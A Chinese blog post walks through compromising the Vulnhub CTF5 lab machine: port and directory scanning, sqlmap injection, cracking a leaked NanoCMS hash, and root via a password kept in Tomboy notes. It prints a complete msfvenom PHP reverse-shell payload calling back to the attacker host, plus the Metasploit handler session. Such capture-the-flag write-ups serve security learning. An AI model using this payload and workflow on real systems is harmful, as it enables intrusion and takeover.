Vulnhub-CTF5靶机实战

前言

靶机下载地址:CTF5靶机下载地址

KALI地址:192.168.10.73

靶机地址:192.168.10.116


一.信息收集

1.主机发现

使用命令如下

netdiscover -r 192.168.10.73

如下图发现了,靶机IP地址

image


2.主机扫描

上面发现了靶机现在需要对靶机进行一系列扫描,这里使用的是nmap工具,使用命令如下

nmap -A -T4 -p- 192.168.10.116

扫描结果如下图,发现开放了一堆堆的端口

image


3.目录扫描

开放了一堆堆端口里面开放了80端口,那么久可以先来一波目录扫描,这里使用的是dirb,命令如下

dirb http://192.168.10.116

如下图,扫描结果如下,发现有很多目录,红色箭头是我自己感觉重要的目录

image


4.网页信息收集

根据上面目录扫描,其实真正有用的地方是/listblog这个选项卡里面,比如在初步测试的时候,在list的地方出现了SQL语句报错,如下图,就只是在输入框里面输入了一个'就报错了,极度可能有SQL注入的漏洞。

image

然后如下图,在blog里面发现了几个选项卡可能是敏感东西,而且这个CMS是NanoCMS

image

然后在网上简单查一下,这个CMS的漏洞,具体信息如下图,意思就是说有密码哈希值泄露

具体文章👉文章

image

然后我们访问Webmail这个选项卡,如下图,发现是一个发送邮件的程序,版本号是1.4.11

image

然后在网上查一下这个程序版本的漏洞,拥有远程命令执行的漏洞,版本影响如下,刚好靶机的版本是受到影响的版本

受影响的版本 Squirrelmail Version <= 1.4.22

不受影响的版本 Squirrelmail Version > 1.4.22

我们在KALI里面搜索一下,这里使用的命令是searchsploit SquirrelMail,如下图,发现可以有利用的exp

image

经过简单尝试,发现需要账户和密码,但是这里没有账户和密码,就可以先把这个邮件程序放一下。


二.漏洞利用

1.SQL注入

上面网页信息收集我们在/list目录发现了可能有SQL注入的漏洞,这里我们使用SQLMAP来跑跑看看,需要做的事情就是因为发现是POST发送,所以先用BP抓包,然后把抓包的东西放在文本里,然后打开SQLMAP,命令如下。

python sqlmap.py -r 1.txt --dbs

如下图成功爆出数据库,但是经过一番探索查找,并没有发现数据库可以利用的东西并且使用了SQLMAP的--os-shell--file-write=似乎也不行。

image

这里我抓到的数据包如下

POST /list/ HTTP/1.1
Host: 192.168.10.116
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://192.168.10.116
Connection: close
Referer: http://192.168.10.116/list/
Cookie: SESS9d38cf238e215f91c57bd790d23705ee=c0p7d52t4b0kipv24jq5jpdrs1
Upgrade-Insecure-Requests: 1

name=1&email=1&phone=1&org=1

2.CMS漏洞

上面SQL注入不行,那么就尝试一下CMS漏洞,上面信息收集发现了CMS可能出现密码哈希值泄露,我们把可能泄露的地址复制粘贴到我们的URL后面,如下图发现确实泄露了。

image

然后我们把password选项的东西拿去在线解密👉在线MD5解密,如下图,发现解密出来密码是shannon

image

所以这里我们就得到了一个账户密码就是

账户:admin

密码:shannon

其实这里我猜想的是ssh密码,但是失败了,后面才想到这页面上面不是有一个选项卡是后台登录地址吗,然后确实可以登录进去,用这个账户密码,如下图,成功登录!

image

2.1生成木马

之后熟悉了一下操作,发现在上面的New Page选项可以写入文件!!这里我们直接写入木马即可,首先打开KALI,我们使用命令如下来生成木马

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.10.73 LPORT=4444 -f raw

木马内容如下

/*<?php /**/ error_reporting(0); $ip = '192.168.10.73'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

然后我们把生成的木马内容复制到上面的内容区域,如下图,然后我们点击添加即可。

image

之后我们回到KALI,开启监听,我们开启msfconsole,完整操作流程如下。

┌──(root㉿kali)-[~/Desktop]
└─# msfconsole                                                                   
                                                  
IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt


       =[ metasploit v6.1.27-dev                          ]
+ -- --=[ 2196 exploits - 1162 auxiliary - 400 post       ]
+ -- --=[ 596 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Tired of setting RHOSTS for modules? Try 
globally setting it with setg RHOSTS x.x.x.x

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.10.73
LHOST => 192.168.10.73
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.10.73:4444 

然后我们回到靶机网页的主页,发现多了我们创建的选项卡。

image

然后我们点击即可,然后就成功反弹了shell!!,如下图成功反弹

image

然后我们输入shell来获取终端,之后我们查找python有没有,使用命令是whereis python如下图,发现靶机有python

image

然后我们输入如下命令来重新获取一个终端

python -c "import pty; pty.spawn("/bin/bash")"

3.提权

获取到了低权限之后就可以尝试提权了,其实到这里之后就可以尝试看各种敏感信息比如/etc/passwd,/home这些目录下的东西,还有系统版本,经过初步测试,发现没有发现什么东西,经过深层的探索之后,在/home目录下面有五个用户的目录,其他四个没啥东西,但是在patrick有大东西,在patrick的家目录下面,的隐藏文件,如下图,Tomboy差不多是一个记录笔记的东西。

image

这里我们查看log文件,如下图,发现,保存了root密码

image

然后我们在查看.tomboy文件夹里面的东西,如下图,发现了root密码,密码是50$cent

image

然后我们在这里切换到root用户试试,发现成功切换到root用户!!结束!!!

image


四.总结

其实到提权的那个地方我还是看了那么亿点点WP,因为看HOME文件夹里面的东西太多了,感觉都没啥用,都是一眼带过,就没发现重要信息,所以这件事告诉了我们打靶场文件多起码都要认真看,23333

posted @ 2022-05-16 16:21  御七彩虹猫  阅读(285)  评论(0编辑  收藏  举报